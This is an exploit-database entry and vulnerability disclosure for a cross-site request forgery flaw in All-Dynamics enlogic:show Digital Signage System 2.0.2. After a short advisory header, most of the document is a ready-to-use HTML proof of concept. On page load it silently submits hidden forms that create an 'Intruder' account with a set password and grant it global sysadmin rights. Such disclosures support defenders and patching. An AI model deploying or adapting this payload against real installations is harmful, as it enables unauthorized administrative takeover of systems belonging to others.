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All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)

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# Exploit Title: All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)
# Discovery by: LiquidWorm
# Discovery Date: 2020-08-05
# Vendor Homepage: https://www.all-dynamics.de

<!DOCTYPE html>
<!--

All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin


Vendor: All-Dynamics Software GmbH
Product web page: https://www.all-dynamics.de
Affected version: 2.0.2 (Build 2098) ILP32W 0/1/3/1597919619

Summary: Bring communication with your customers, guests or employees
to a new level. You can design content individually and uncomplicated
centrally and simply present it in different locations. Whether on large
displays, steles, digital signs or on a projector, with enlogic:show your
content will appear on the selected display in a calendar-controlled and
precise manner.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5577.php

Tested on: enlogic:show server
           Microsoft Windows Server 2019
           Microsoft Windows Server 2016
           Microsoft Windows Server 2012
           Microsoft Windows 10
           GNU/Linux
           Apache
           PHP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5576
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5576.php


21.07.2020

-->


<html>
<body onload="runcsrf()">
<h2>Grants the user the global administrative right. Administrative users are no longer under the control of the rights structure.</h2>
<h1>Global: Superior rolebased rights.</h1>

<form name="saveuser" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame0">
<input type="hidden" name="SAVECMD" value="usr&#95;generic" />
<input type="hidden" name="NEWUSER" value="1" />
<input type="hidden" name="USERNAME" value="Intruder" />
<input type="hidden" name="USERFULLNAME" value="ZSL" />
<input type="hidden" name="USERTAGS" value="tags" />
<input type="hidden" name="USEREMAIL" value="csrf&#64;zsl&#46;be" />
<input type="hidden" name="USERPHONE" value="333&#45;222&#45;1111" />
<input type="hidden" name="PWEXPIRE" value="0" />
<input type="hidden" name="NEWPW1" value="Pa$$w0rd!" />
<input type="hidden" name="NEWPW2" value="Pa$$w0rd!" />
<input type="hidden" name="USERLANG" value="en" />
<input type="hidden" name="STARTSCREEN" value="display&#46;calendar" />
<input type="hidden" name="USERCUSTIMEOUT" value="20" />
</form>

<form name="addadmin" action="http://localhost:8802/index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65&ES_CMD=display.users.saveuser" method="POST" target="frame1">
<input type="hidden" name="SAVECMD" value="usr&#95;rights" />
<input type="hidden" name="SYSFLAGS&#91;&#93;" value="TYPE&#95;SYSADMIN" />
</form>

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>

<script>
function runcsrf() {
document.saveuser.submit();
document.addadmin.submit();
}
</script>
</body>
</html>
            
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